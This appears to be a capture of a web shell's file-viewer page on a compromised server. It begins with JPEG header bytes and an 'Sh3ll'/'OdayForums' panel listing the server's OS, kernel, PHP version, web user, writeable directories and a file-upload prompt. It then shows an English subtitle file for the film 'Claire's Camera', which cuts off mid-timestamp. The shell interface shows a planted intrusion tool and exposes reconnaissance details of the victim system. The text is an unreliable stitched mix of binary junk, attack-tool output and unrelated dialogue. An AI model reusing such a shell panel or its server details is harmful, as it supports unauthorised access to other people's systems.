����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/02-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/02-2019/5c62fd3c2c299-1549991228.vtt
WEBVTT

1
00:00:40.111 --> 00:00:43.950
- Lot of work?
- No, today is fine.

2
00:00:44.151 --> 00:00:46.854
Yes, it is.

3
00:00:48.742 --> 00:00:50.150
Are you going to the hotel?

4
00:00:50.514 --> 00:00:54.448
I will finish here and go later.

5
00:00:55.745 --> 00:00:59.439
I'm going to the hotel now.
Are you busy?

6
00:00:59.782 --> 00:01:01.845
I'm not that busy.

7
00:01:02.514 --> 00:01:04.461
So, shall we go together?

8
00:01:05.044 --> 00:01:08.756
No problem.
I can come back later.

9
00:01:09.345 --> 00:01:10.725
Come back later?

10
00:01:11.401 --> 00:01:12.701
Yes.

11
00:01:13.013 --> 00:01:15.673
- Anyways, continue.
- OK.

12
00:01:20.521 --> 00:01:25.931
CLAIRE'S CAMERA

13
00:01:31.221 --> 00:01:36.184
ISABELLE HUPPERT

14
00:01:37.604 --> 00:01:42.528
KIM MINHEE

15
00:01:44.354 --> 00:01:49.254
CHANG MIHEE

16
00:01:51.037 --> 00:01:55.956
JUNG JINYOUNG

17
00:01:58.336 --> 00:02:03.254
WRITTEN AND DIRECTED
BY HONG SANGSOO

18
00:02:09.803 --> 00:02:11.103
Manager Jeon!

19
00:02:11.204 --> 00:02:13.880
What are you doing here?
Why didn't you come back?

20
00:02:13.981 --> 00:02:17.470
No, I'm still around.
I wanted to enjoy it.

21
00:02:18.671 --> 00:02:22.682
But why stay here?
Did you stay here all the time?

22
00:02:23.007 --> 00:02:24.307
Yes, I did.

23
00:02:26.084 --> 00:02:29.896
It's been very hard for us without you!

24
00:02:29.997 --> 00:02:31.297
Oh really?

25
00:02:31.844 --> 00:02:36.235
Has it been hard for you?
I'm sorry.

26
00:02:36.336 --> 00:02:38.091
But you were the most harmed.

27
00:02:38.644 --> 00:02:40.122
Anyway, what happened?

28
00:02:42.976 --> 00:02:44.934
What can I tell...?

29
00:02:46.434 --> 00:02:49.242
Why did you give up so suddenly?

30
00:02:51.425 --> 00:02:54.941
It was forced, I didn’t want to.

31
00:02:55.056 --> 00:02:58.928
- Who forced it? The boss?
- Yes, she asked me to resign.

32
00:02:59.117 --> 00:03:01.057
Why? For what reason?

33
00:03:03.745 --> 00:03:05.556
Who knows? I'm curious too.

34
00:03:07.247 --> 00:03:09.291
But how could she do that?

35
00:03:11.290 --> 00:03:13.636
You are the treasure of our company.

36
00:03:14.619 --> 00:03:17.876
She always said it about you.

37
00:03:19.407 --> 00:03:22.344
I'm also curious to
know why she fired me.

38
00:03:22.877 --> 00:03:25.864
But what did she say?

39
00:03:31.967 --> 00:03:34.824
Three days ago I was in the cabin,

40
00:03:35.511 --> 00:03:39.599
- we get back to the hotel together.
- I know, I was there, too.

41
00:03:41.191 --> 00:03:44.709
Then she invited me for a coffee.

42
00:03:44.810 --> 00:03:46.461
Invited?

43
00:03:48.865 --> 00:03:52.811
We were drinking coffee and then,
she told me.

44
00:03:54.324 --> 00:03:56.054
That I should resign.

45
00:03:59.136 --> 00:04:00.436
She forced me.

46
00:04:00.570 --> 00:04:04.454
What could I do? I did what I was told.

47
00:04:05.062 --> 00:04:07.230
This is ridiculous.

48
00:04:08.354 --> 00:04:11.137
Why did she ask you to resign?

49
00:04:13.585 --> 00:04:16.947
Don't tell anyone about it.

50
00:04:17.290 --> 00:04:19.224
Of course, I won't.

51
00:04:19.456 --> 00:04:21.919
I need some time to think it over.

52
00:04:24.724 --> 00:04:26.601
That's why I'm still here.

53
00:04:26.791 --> 00:04:28.091
Sure.

54
00:04:28.373 --> 00:04:29.950
It's important.

55
00:04:30.847 --> 00:04:35.131
- It' been five years.
- Yes, it does.

56
00:04:35.456 --> 00:04:37.113
Exactly five years today.

57
00:04:53.973 --> 00:04:56.910
I think you have a good heart, you know?

58
00:04:57.468 --> 00:04:59.556
Thanks.

59
00:05:01.290 --> 00:05:04.091
No need to thank me. It's true.

60
00:05:04.336 --> 00:05:05.636
No...

61
00:05:06.065 --> 00:05:09.094
But you wanted to
talk about something?

62
00:05:10.071 --> 00:05:12.559
Why are so rushed today?

63
00:05:13.481 --> 00:05:16.922
- What you mean?
- Usually you're very calm.

64
00:05:19.936 --> 00:05:23.119
Lost in thought.
With a good heart, like I said.

65
00:05:25.142 --> 00:05:30.756
I'm not sure if I have a good heart.

66
00:05:32.834 --> 00:05:37.962
But having a good heart doesn't
necessarily mean that you are honest.

67
00:05:39.001 --> 00:05:40.301
What?

68
00:05:41.776 --> 00:05:45.384
Do you know what's most important

69
00:05:46.188 --> 00:05:48.522
for me about a co-worker?

70
00:05:50.422 --> 00:05:51.722
I'm not sure.

71
00:05:53.548 --> 00:05:54.848
Honesty.

72
00:05:58.102 --> 00:05:59.734
It's something precious.

73
00:06:02.502 --> 00:06:05.679
A natural born attribute.

74
00:06:06.477 --> 00:06:10.005
It's not something
you can achieve with time.

75
00:06:11.505 --> 00:06:14.805
That's why I hired you, you know that?

76
00:06:15.284 --> 00:06:16.854
I got it.

77
00:06:23.561 --> 00:06:24.861
Still...

78
00:06:25.961 --> 00:06:30.325
Even though I think you have a good
heart, I've come to the conclusion.

79
00:06:31.542 --> 00:06:32.848
of what...

80
00:06:33.714 --> 00:06:38.081
there's no guarantee of your honesty.

81
00:06:41.370 --> 00:06:44.420
Why did you come to this conclusion?

82
00:06:44.521 --> 00:06:48.791
Do you think I'm dishonest?

83
00:06:49.062 --> 00:06:50.362
Yes, a little.

84
00:06:50.699 --> 00:06:53.537
I do, I'm sorry.

85
00:06:54.281 --> 00:06:56.817
- It's the way I see it.
- Alright.

86
00:06:57.265 --> 00:07:00.838
There's nothing I can do about it.

87
00:07:00.939 --> 00:07:04.424
But I don't know why you think it.

88
00:07:06.964 --> 00:07:08.719
It doesn't matter.

89
00:07:09.887 --> 00:07:11.587
It's just the way I see things.

90
00:07:12.945 --> 00:07:16.436
No matter how I came to that conclusion.

91
00:07:17.321 --> 00:07:18.742
You don't need to know.

92
00:07:19.087 --> 00:07:21.574
If you tell me, I can try to fix it.

93
00:07:22.631 --> 00:07:26.214
I always considered myself honest.

94
00:07:26.791 --> 00:07:29.239
As I said,
it's not something you can achieve.

95
00:07:32.742 --> 00:07:34.922
If we lose confidence in someone,

96
00:07:35.585 --> 00:07:39.537
we should no longer
work with that person.

97
00:07:40.773 --> 00:07:42.504
I understand.

98
00:07:43.844 --> 00:07:46.130
So you shouldn't have
made that kind of mistake.

99
00:07:48.699 --> 00:07:52.725
I'm curious about your reasons.

100
00:07:53.856 --> 00:07:58.134
I finally decided to
support my conclusion.

101
00:08:01.567 --> 00:08:02.867
Now...

102
00:08:04.531 --> 00:08:06.374
comes the hardest part.

103
00:08:10.274 --> 00:08:13.814
Let's stop working together.

104
00:08:16.391 --> 00:08:17.691
Oh, really?

105
00:08:18.539 --> 00:08:21.137
Yes. I'm serious.

106
00:08:25.431 --> 00:08:26.731
I'm sorry...

107
00:08:28.705 --> 00:08:30.319
To see things this way.

108
00:08:37.819 --> 00:08:42.141
And if you don't mind, let's not
wait until return to Seoul.

109
00:08:43.117 --> 00:08:45.513
Let's finish everything here today.

110
00:08:47.185 --> 00:08:48.682
Today?

111
00:08:52.945 --> 00:08:56.356
This is very shocking.

112
00:08:58.527 --> 00:09:01.667
I'm really intrigued.

113
00:09:02.637 --> 00:09:04.448
Why do you see things like that?

114
00:09:05.579 --> 00:09:08.871
I should give you some time.

115
00:09:11.788 --> 00:09:13.494
But if you do not mind,

116
00:09:13.794 --> 00:09:18.725
I'd rather we go in separate ways now.

117
00:09:19.124 --> 00:09:21.236
For the sake of our team.

118
00:09:22.551 --> 00:09:23.851
Besides that,

119
00:09:26.341 --> 00:09:29.525
working with someone I don't
feel comfortable with...

120
00:09:30.705 --> 00:09:33.851
it's not easy,
so let's avoid this trouble.

121
00:09:34.810 --> 00:09:36.110
Sure.

122
00:09:37.441 --> 00:09:41.866
It can't be helped if
you see things that way.

123
00:09:41.967 --> 00:09:46.534
Although I still don't
understand your reasons.

124
00:09:49.339 --> 00:09:50.922
Trust in my judgment.

125
00:09:52.281 --> 00:09:54.497
It was a tough to decide it.

126
00:10:16.164 --> 00:10:20.559
You're so nice, lying there.

127
00:10:26.890 --> 00:10:29.845
You are very nice.

128
00:10:34.681 --> 00:10:35.981
Manhee?

129
00:10:42.613 --> 00:10:43.913
What about...

130
00:10:45.131 --> 00:10:48.953
we take a picture together?
To register our farewell?

131
00:10:49.277 --> 00:10:50.577
I think...

132
00:10:52.065 --> 00:10:56.257
that would be a good way to
celebrate my resignation.

133
00:10:59.622 --> 00:11:03.008
Do you really need to do this?

134
00:11:03.280 --> 00:11:04.580
Well...

135
00:11:04.681 --> 00:11:08.553
We've been together for a long
time, so I'd like a photo.

136
00:11:08.847 --> 00:11:12.239
- Are you serious?
- Yes. One, two, three!

137
00:11:23.844 --> 00:11:26.842
It hurts me to do that.

138
00:11:28.047 --> 00:11:31.131
I wanted to work with
you for a long time.

139
00:11:32.699 --> 00:11:36.701
Me too, but I guess it won't happen.

140
00:11:39.185 --> 00:11:42.177
We'll meet again someday.

141
00:11:43.037 --> 00:11:44.996
I'm sure we will.

142
00:11:52.157 --> 00:11:54.030
How was it with a young girl?

143
00:11:56.231 --> 00:11:58.350
Sorry to delay your work.

144
00:11:59.641 --> 00:12:02.990
It's not a delay. I can do her job.

145
00:12:04.514 --> 00:12:05.814
I'm sorry.

146
00:12:07.511 --> 00:12:08.811
Gosh.

147
00:12:11.924 --> 00:12:14.541
So you feel sorry?

148
00:12:15.117 --> 00:12:16.596
Of course.

149
00:12:18.619 --> 00:12:21.057
It's so recent.

150
00:12:22.841 --> 00:12:25.205
We should eat before your interviews.

151
00:12:27.327 --> 00:12:28.682
I wish I could not do them.

152
00:12:29.093 --> 00:12:31.242
- How many?
- Two.

153
00:12:31.967 --> 00:12:34.910
You have to, it's not many.

154
00:12:35.056 --> 00:12:36.356
I know.

155
00:12:37.253 --> 00:12:40.756
So, she's back in Seoul?

156
00:12:42.274 --> 00:12:45.747
I don't know, she left the hotel.

157
00:12:47.277 --> 00:12:48.922
Why? Do you miss her?

158
00:12:49.136 --> 00:12:50.436
It's not that.

159
00:12:51.382 --> 00:12:53.747
But she leaving during the festival...

160
00:12:55.844 --> 00:12:57.958
She worked for you for a long time,
right?

161
00:12:58.059 --> 00:12:59.359
Yes.

162
00:12:59.924 --> 00:13:01.987
- About five years?
- Right.

163
00:13:02.779 --> 00:13:05.181
And was she good in her role?

164
00:13:05.733 --> 00:13:07.101
Did she help you a lot?

165
00:13:08.828 --> 00:13:10.214
She was meticulous.

166
00:13:10.847 --> 00:13:13.636
That's why I hired her,
despite her English.

167
00:13:13.917 --> 00:13:16.288
What? Was her English bad?

168
00:13:17.770 --> 00:13:19.470
She has no ear for tongues.

169
00:13:20.582 --> 00:13:21.882
I didn't know it.

170
00:13:23.302 --> 00:13:25.287
She had style though.

171
00:13:25.388 --> 00:13:28.381
It was easy to have her around.
The men liked her.

172
00:13:29.105 --> 00:13:30.713
It was the alcohol.

173
00:13:31.474 --> 00:13:33.901
Without alcohol,
it would never have happened.

174
00:13:35.942 --> 00:13:37.242
I know.

175
00:13:37.708 --> 00:13:40.836
You are not the type to
do this without alcohol.

176
00:13:42.207 --> 00:13:46.313
95% of my life's mistakes
were alcohol driven.

177
00:13:53.653 --> 00:13:59.051
If it happens again,
we will separate for good.

178
00:13:59.831 --> 00:14:02.873
Don't worry, it won't repeat.

179
00:14:05.234 --> 00:14:07.107
Why should I worry?

180
00:14:07.948 --> 00:14:09.741
Yes, you're right.

181
00:14:12.767 --> 00:14:14.067
Look that!

182
00:14:14.767 --> 00:14:16.744
This ship is huge.

183
00:14:18.404 --> 00:14:23.993
You will come here often.
Control yourself.

184
00:14:24.902 --> 00:14:26.202
Yeah.

185
00:14:27.618 --> 00:14:31.060
I'm going to work a lot. Help me.

186
00:14:31.161 --> 00:14:32.491
That's our deal.

187
00:14:33.302 --> 00:14:34.602
Yes.

188
00:14:35.111 --> 00:14:36.565
I'm really going to work.

189
00:14:38.281 --> 00:14:40.842
That's it. I help you.

190
00:14:42.841 --> 00:14:44.141
Come here.

191
00:15:51.941 --> 00:15:54.916
- Hello.
- Hello.

192
00:15:56.397 --> 00:15:59.626
- Are you here to see Director So?
- No, why?

193
00:15:59.727 --> 00:16:03.125
This is his hotel. I'll meet him later.

194
00:16:03.868 --> 00:16:05.747
For what?

195
00:16:06.391 --> 00:16:10.159
To say hello. He was my teacher.

196
00:16:11.007 --> 00:16:12.481
I see.

197
00:16:12.582 --> 00:16:14.214
Yes, he taught class.

198
00:16:17.154 --> 00:16:21.377
But he barely taught and
always drank with his students.

199
00:16:21.893 --> 00:16:23.402
Are you close to him?

200
00:16:23.831 --> 00:16:25.710
Not at all.

201
00:16:26.201 --> 00:16:28.301
I don't even know if he remembers me.

202
00:16:29.321 --> 00:16:30.744
- Is that so?
- Yes.

203
00:16:32.324 --> 00:16:35.330
Mrs. Nam will join us as well.

204
00:16:35.431 --> 00:16:39.016
- Really?
- My short was shown here.

205
00:16:39.117 --> 00:16:41.558
- Right.
- After seeing it, she asked me to

206
00:16:41.659 --> 00:16:44.177
meet with Director So.

207
00:16:44.342 --> 00:16:46.793
She wants to make a movie with you?

208
00:16:48.114 --> 00:16:50.504
I guess not.

209
00:16:50.637 --> 00:16:55.101
I don't think I'm
mature to make a movie.

210
00:16:56.164 --> 00:16:59.076
Maturity has nothing to
do with making movies.

211
00:17:00.121 --> 00:17:01.764
You need honesty.

212
00:17:02.053 --> 00:17:06.024
It's hard to make an honest movie.

213
00:17:07.388 --> 00:17:11.667
You also need to be honest in life.

214
00:17:12.281 --> 00:17:14.657
But this is not easy.

215
00:17:15.056 --> 00:17:19.193
Yes, honesty is important.
Well, I have to go.

216
00:17:19.364 --> 00:17:22.079
- Really?
- We talk later.

217
00:17:22.188 --> 00:17:23.669
- Right.
- Bye.

218
00:17:23.770 --> 00:17:25.070
See you.

219
00:17:41.985 --> 00:17:44.395
- It's my first time at Cannes.
- Is that so?

220
00:17:44.496 --> 00:17:46.350
Yes, I never came. For real.

221
00:17:46.451 --> 00:17:50.063
This is my first time too, I'm very happy

222
00:17:50.164 --> 00:17:52.832
- What's the exhibit hour?
- At 7:00 p.m.

223
00:17:52.933 --> 00:17:54.420
- 7:00?
- The twentieth.

224
00:17:54.521 --> 00:17:55.570
- It's a good time.
- Yes.

225
00:17:55.671 --> 00:17:57.833
- Very well then.
- I'll wait for you.

226
00:17:58.004 --> 00:17:59.304
Right.

227
00:18:04.447 --> 00:18:05.851
Where are you from?

228
00:18:07.837 --> 00:18:09.343
I'm from Korea.

229
00:18:09.444 --> 00:18:12.042
- You're Korean?
- Yeah.

230
00:18:12.570 --> 00:18:13.870
Yes, I'm Korean.

231
00:18:14.853 --> 00:18:17.014
- Where you are from?
- I'm from Paris.

232
00:18:17.357 --> 00:18:19.501
Paris! So...

233
00:18:20.447 --> 00:18:22.067
- You are French?
- Yes.

234
00:18:22.841 --> 00:18:24.811
I just arrived a few hours ago.

235
00:18:25.382 --> 00:18:27.607
My friend is showing her
movie at the festival

236
00:18:27.708 --> 00:18:29.722
- Oh really?
- I came down with her.

237
00:18:29.893 --> 00:18:31.414
Oh, I see.

238
00:18:31.967 --> 00:18:35.076
I'm showing my film here too.
I'm a film director.

239
00:18:36.828 --> 00:18:38.245
You are a film director?

240
00:18:43.419 --> 00:18:46.516
I was right.
I thought you were an artist.

241
00:18:46.683 --> 00:18:47.983
- Oh really?
- Yes.

242
00:18:48.084 --> 00:18:51.457
Thank you!
You look like an artist too.

243
00:18:52.471 --> 00:18:53.810
What do you do for a living?

244
00:18:53.911 --> 00:18:56.504
No, I'm not an artist.
I'm teacher.

245
00:18:56.730 --> 00:18:58.030
A teacher?

246
00:19:00.741 --> 00:19:04.762
But  write poetry sometimes.
Purely for my pleasure.

247
00:19:07.191 --> 00:19:09.821
And I make photos too. With this.

248
00:19:11.130 --> 00:19:16.977
I see... you're a poet.
You're an artist too.

249
00:19:17.253 --> 00:19:19.531
Yes, I guess so.

250
00:19:23.991 --> 00:19:27.039
- Can I sit with you?
- Yes.

251
00:19:28.022 --> 00:19:29.322
Thank you.

252
00:19:46.668 --> 00:19:48.867
What is your name? My name is So.

253
00:19:50.139 --> 00:19:51.507
- So?
- Yes.

254
00:19:52.213 --> 00:19:54.245
- My name is Claire.
-Claire?

255
00:19:54.890 --> 00:19:56.307
What a beautiful name.

256
00:19:58.336 --> 00:20:01.213
- Very happy to meet you.
- Very happy to meet you too.

257
00:20:01.314 --> 00:20:02.614
Yeah.

258
00:20:47.901 --> 00:20:49.487
What's your name, again?

259
00:20:49.684 --> 00:20:51.525
Can I find you on Google?

260
00:20:52.065 --> 00:20:56.017
Oh I think so. It's So Wansoo.

261
00:20:58.732 --> 00:21:00.032
With S.

262
00:21:00.133 --> 00:21:02.042
- S?
- S-O

263
00:21:03.081 --> 00:21:05.248
W-A-N

264
00:21:06.133 --> 00:21:08.807
- Two "U"?
-No, just W.

265
00:21:08.908 --> 00:21:10.393
- W.
- Yeah.

266
00:21:11.585 --> 00:21:15.322
W-A-N-S-O-O.

267
00:21:28.902 --> 00:21:30.731
Yeah, is me.

268
00:21:39.807 --> 00:21:41.107
Is me.

269
00:21:42.305 --> 00:21:45.488
LIBRARY

270
00:21:53.234 --> 00:21:54.534
- Here?
- Yes.

271
00:22:16.773 --> 00:22:18.270
It's a beautiful book.

272
00:22:19.265 --> 00:22:21.359
- Can you read it here?
- Yeah.

273
00:22:25.302 --> 00:22:26.996
"I want to talk about a person.

274
00:22:27.764 --> 00:22:30.147
A man of about 25 at most.

275
00:22:31.339 --> 00:22:32.737
He's a handsome man,

276
00:22:33.696 --> 00:22:37.285
who wants to die before
being marked by death.

277
00:22:38.687 --> 00:22:39.987
You loved him.

278
00:22:40.890 --> 00:22:42.190
More than that."

279
00:22:46.256 --> 00:22:47.913
Beautiful, it's great.

280
00:22:49.025 --> 00:22:51.531
- Your voice is great.
- Oh thank you.

281
00:22:51.825 --> 00:22:53.125
Beautiful.

282
00:22:55.117 --> 00:22:56.633
It's a strange poem.

283
00:22:57.622 --> 00:22:58.922
Strange?

284
00:22:59.117 --> 00:23:01.310
Yes, a little.

285
00:23:02.754 --> 00:23:04.054
But I like it.

286
00:23:05.265 --> 00:23:07.347
I wish I could read French.

287
00:23:08.804 --> 00:23:11.254
It is a very difficult
language to learn.

288
00:23:11.364 --> 00:23:12.664
I see.

289
00:23:12.847 --> 00:23:14.740
But I want to memorize this poem.

290
00:23:14.841 --> 00:23:17.316
Even just one poem, for fun.

291
00:23:19.536 --> 00:23:22.294
- Can you teach me how to pronounce?
- Sure.

292
00:23:23.967 --> 00:23:25.267
Come this way.

293
00:23:25.881 --> 00:23:27.181
Yes.

294
00:23:29.228 --> 00:23:31.544
- So you repeat after me.
- Yes.

295
00:23:56.594 --> 00:23:57.894
- That!
- Yeah.

296
00:24:00.367 --> 00:24:01.667
Very good.

297
00:24:18.127 --> 00:24:19.427
No, it's...

298
00:24:19.686 --> 00:24:20.986
Yeah.

299
00:24:21.087 --> 00:24:24.518
It's a "P".
You're saying like an "F", it's a "P".

300
00:24:24.619 --> 00:24:25.919
"P", yeah.

301
00:24:37.401 --> 00:24:39.057
- Very good.
- Right.

302
00:24:46.754 --> 00:24:48.516
How beautiful!

303
00:24:51.062 --> 00:24:52.688
What a beautiful dog!

304
00:24:54.877 --> 00:24:56.590
Are you resting?

305
00:24:59.068 --> 00:25:01.771
- It's beautiful, right?
- Yes, beautiful.

306
00:25:03.382 --> 00:25:04.682
You're beautiful.

307
00:25:07.437 --> 00:25:08.737
Bye bye.

308
00:25:10.213 --> 00:25:11.513
See you!

309
00:25:13.991 --> 00:25:15.291
Bye.

310
00:25:27.536 --> 00:25:29.220
- Thank you.
- You're welcome.

311
00:25:29.321 --> 00:25:32.100
It's only a photo.
You don't have to thank me.

312
00:25:32.201 --> 00:25:33.501
I know.

313
00:25:33.634 --> 00:25:35.907
- But I want to thank you.
- Why?

314
00:25:36.687 --> 00:25:39.755
Because taking a photo is
something very important.

315
00:25:39.856 --> 00:25:41.482
Oh, I see.

316
00:25:41.887 --> 00:25:46.054
- Why is it very important?
- Because if I take a photo of you,

317
00:25:46.477 --> 00:25:48.319
you're not the same person anymore.

318
00:25:48.564 --> 00:25:50.030
- Oh really?
- Yes.

319
00:25:50.241 --> 00:25:52.805
- What do you mean?
- I don't mean anything.

320
00:25:53.081 --> 00:25:55.107
It's just how I feel about it.

321
00:25:55.723 --> 00:25:57.023
Interesting.

322
00:25:57.124 --> 00:26:00.020
So I am a different person now?

323
00:26:00.121 --> 00:26:01.421
Yes.

324
00:26:02.161 --> 00:26:04.497
- I think so.
- Okay.

325
00:26:05.197 --> 00:26:07.937
Let me see this picture.

326
00:26:11.881 --> 00:26:15.217
What's the difference between
this picture and myself?

327
00:26:15.382 --> 00:26:17.334
Well, I know it's just a photo.

328
00:26:19.241 --> 00:26:21.328
But you've actually changed now.

329
00:26:24.221 --> 00:26:25.925
And I can feel it.

330
00:26:27.019 --> 00:26:28.500
- Really?
- Yes.

331
00:26:28.601 --> 00:26:29.931
I don't buy it.

332
00:26:30.681 --> 00:26:32.651
I'm a very sensitive person.

333
00:26:36.021 --> 00:26:37.321
But...

334
00:26:38.034 --> 00:26:39.556
Can you look at me now?

335
00:26:41.138 --> 00:26:42.438
My eyes.

336
00:26:42.539 --> 00:26:44.536
- Your eyes?
- Yes, please.

337
00:26:44.637 --> 00:26:45.937
Okay.

338
00:26:57.221 --> 00:26:58.817
Am I the same person?

339
00:27:00.061 --> 00:27:03.525
Am I the same person you
saw a few hours ago?

340
00:27:09.056 --> 00:27:11.273
Can't you see the differences?

341
00:27:15.290 --> 00:27:16.590
No.

342
00:27:17.917 --> 00:27:19.267
It's funny.

343
00:27:20.170 --> 00:27:21.470
What is this?

344
00:27:22.490 --> 00:27:25.706
Why I feel this way?
It's just strange.

345
00:27:25.807 --> 00:27:29.525
It's because I took your
picture some few minutes ago.

346
00:27:29.971 --> 00:27:31.743
Why don't you take a picture of me?

347
00:27:31.844 --> 00:27:34.651
- I want to see that you're not joking.
- Okay.

348
00:27:46.957 --> 00:27:48.420
- Can I see?
- Sure.

349
00:27:48.521 --> 00:27:49.589
- It's yours.
- Thank you.

350
00:27:49.690 --> 00:27:51.515
Let me look at your eyes again.

351
00:27:51.616 --> 00:27:53.359
- Yes, if you want.
- Hm.

352
00:28:10.041 --> 00:28:11.341
This is funny.

353
00:28:13.751 --> 00:28:15.061
Does it look different?

354
00:28:17.990 --> 00:28:19.290
You want to look at them?

355
00:28:19.391 --> 00:28:22.245
- I took these pictures this morning.
- Oh thank you.

356
00:28:25.200 --> 00:28:26.500
It's a good picture.

357
00:28:26.601 --> 00:28:28.161
- Oh, thank you.
- Yeah.

358
00:28:33.259 --> 00:28:34.559
Why is she here?

359
00:28:37.204 --> 00:28:38.504
Do you know her?

360
00:28:39.259 --> 00:28:40.559
Yes, I know her.

361
00:28:40.988 --> 00:28:44.436
She's Korean. She's... Manhee.

362
00:28:47.967 --> 00:28:50.500
- When did you take this picture?
- This morning.

363
00:28:50.601 --> 00:28:54.288
When I arrived.
I was on the roof of a big hotel.

364
00:28:54.828 --> 00:28:56.270
She was so pretty.

365
00:28:56.681 --> 00:28:59.162
I asked if I could
take her picture.

366
00:28:59.481 --> 00:29:00.781
Oh, really?

367
00:29:01.721 --> 00:29:03.021
But...

368
00:29:03.837 --> 00:29:05.790
What she was doing here?

369
00:29:06.582 --> 00:29:10.405
She's not supposed to be here.
And all this makeup...

370
00:29:11.360 --> 00:29:12.660
I don't know exactly.

371
00:29:12.761 --> 00:29:15.661
She was very busy talking with people.

372
00:29:15.926 --> 00:29:17.226
How can I say?

373
00:29:17.327 --> 00:29:22.121
She was a very popular girl there.

374
00:29:23.031 --> 00:29:24.331
Look at this.

375
00:29:25.745 --> 00:29:27.201
I've never seen her like this.

376
00:29:27.302 --> 00:29:30.325
Why is she wearing
so much makeup?

377
00:29:31.144 --> 00:29:32.444
You're right.

378
00:29:32.545 --> 00:29:33.845
You know her too?

379
00:29:34.404 --> 00:29:36.836
Yes, she was my employee.

380
00:29:37.610 --> 00:29:39.704
- Oh, I see.
- Yes.

381
00:29:44.221 --> 00:29:45.521
May I?

382
00:29:45.622 --> 00:29:47.827
- Yes.
- Thank you.

383
00:30:42.801 --> 00:30:45.297
I'm sorry. Is it okay?

384
00:30:45.425 --> 00:30:47.987
- It's okay, I don't mind.
- Oh, thank you.

385
00:30:48.861 --> 00:30:50.161
You look like an artist.

386
00:30:50.262 --> 00:30:51.661
- Do I?
- Yes!

387
00:30:53.327 --> 00:30:55.306
I've been watching
you for a long time.

388
00:30:55.407 --> 00:30:57.457
- Really?
- It made me feel good.

389
00:30:58.379 --> 00:31:00.134
I'm happy to hear that.

390
00:31:01.597 --> 00:31:04.897
- Are you an artist?
- No, I'm not an artist.

391
00:31:05.161 --> 00:31:07.765
- I wish I was.
- Oh, that's bad.

392
00:31:08.213 --> 00:31:10.288
But you're feeling better.
So that's good!

393
00:31:10.441 --> 00:31:11.827
Yes, you're right.

394
00:31:14.804 --> 00:31:16.104
You're so pretty.

395
00:31:16.646 --> 00:31:17.946
I know that?

396
00:31:18.047 --> 00:31:19.466
- Am I?
- Yeah!

397
00:31:19.567 --> 00:31:21.829
Thank you but, you're beautiful too.

398
00:31:21.930 --> 00:31:24.565
Oh, thank you. Thank you very much.

399
00:31:27.179 --> 00:31:30.411
So you came here alone? Yes, I'm alone...

400
00:31:30.533 --> 00:31:32.657
and nobody to talk to.

401
00:31:34.459 --> 00:31:37.513
- If you want, you can talk to me.
- Thank you.

402
00:31:37.924 --> 00:31:40.073
We need someone to talk to.

403
00:31:42.570 --> 00:31:46.079
- What do you do for a living?
- I'm teacher.

404
00:31:47.234 --> 00:31:50.473
I'm a film selling person.

405
00:31:51.794 --> 00:31:55.051
- You sell films?
- Yes, I sell films.

406
00:31:55.801 --> 00:31:57.919
But selling is no fun.

407
00:31:58.391 --> 00:32:00.682
- If you know what I mean.
- I know.

408
00:32:01.044 --> 00:32:03.687
Selling is no fun. Nothing fun at all.

409
00:32:03.788 --> 00:32:07.765
Any selling is no fun.
We shouldn't sell anything.

410
00:32:07.967 --> 00:32:11.193
I agree, no selling of any sorts.

411
00:32:11.548 --> 00:32:15.076
I'm happy we agreed. Agree is great.

412
00:32:15.333 --> 00:32:17.857
I agree 100%.

413
00:32:21.173 --> 00:32:23.796
- So are you French?
- Yes.

414
00:32:24.502 --> 00:32:27.220
- I'm from Paris.
- Ah, you're from Paris...

415
00:32:27.321 --> 00:32:29.242
So which part of Paris?

416
00:32:29.554 --> 00:32:34.540
I live in the 14th arrondissement.
Are you familiar with Paris?

417
00:32:34.641 --> 00:32:38.153
No. I've been there for a long time ago.

418
00:32:38.773 --> 00:32:40.381
Only two times.

419
00:32:41.524 --> 00:32:42.861
Two times...

420
00:32:44.619 --> 00:32:47.734
- Where you are from?
- I'm from Korea.

421
00:32:51.284 --> 00:32:54.756
What are the 3 things
you like most in Korea?

422
00:32:57.942 --> 00:32:59.242
I like food,

423
00:33:00.081 --> 00:33:05.156
I like my memories there,
and I like my friends.

424
00:33:07.708 --> 00:33:09.833
I've never had Korean food before.

425
00:33:10.656 --> 00:33:11.956
I know about Kimchi,

426
00:33:12.059 --> 00:33:15.958
but I have never really had
really Korean food.

427
00:33:16.059 --> 00:33:17.359
That's bad.

428
00:33:18.116 --> 00:33:19.416
But it's ok.

429
00:33:19.517 --> 00:33:21.814
You can have it now if you want.

430
00:33:22.410 --> 00:33:24.555
Do you have a Korean restaurant here?

431
00:33:24.656 --> 00:33:26.838
No, they don't have it here.

432
00:33:26.939 --> 00:33:30.424
But in our apartment I used to stay.

433
00:33:30.761 --> 00:33:32.967
There's a lot of Korean food.

434
00:33:33.068 --> 00:33:36.288
I can make one Korean dish for you,
you might like.

435
00:33:36.557 --> 00:33:37.857
Really?

436
00:33:38.693 --> 00:33:40.639
Could you really do that for me?

437
00:33:43.284 --> 00:33:45.507
I will be happy to cook for you.

438
00:33:47.037 --> 00:33:50.565
- What's your name, anyway?
- My name is Claire.

439
00:33:51.370 --> 00:33:53.670
- And what's yours?
- Manhee.

440
00:33:53.771 --> 00:33:56.639
Manhee.

441
00:33:58.194 --> 00:34:01.784
- You want to go now? For that cooking?
- Yes why not? Let's go.

442
00:34:05.597 --> 00:34:08.075
Wow! This is great.

443
00:34:08.176 --> 00:34:09.697
- Nice?
- Yeah.

444
00:34:10.182 --> 00:34:11.521
What do you do for a living?

445
00:34:11.622 --> 00:34:14.475
Ah yes, you told me.
You're a teacher.

446
00:34:14.576 --> 00:34:17.704
I'm a poet too.
And I take photos too, with this.

447
00:34:18.011 --> 00:34:21.367
- Oh, it's great.
- Yes, it's great.

448
00:34:21.468 --> 00:34:25.205
You can write poems anytime
you want, it's not that difficult.

449
00:34:25.733 --> 00:34:30.278
I sometimes make songs,
they're very childish songs.

450
00:34:30.379 --> 00:34:33.008
But they make me feel good.

451
00:34:34.090 --> 00:34:37.833
So you're a composer.
You are an artist too.

452
00:34:38.441 --> 00:34:41.648
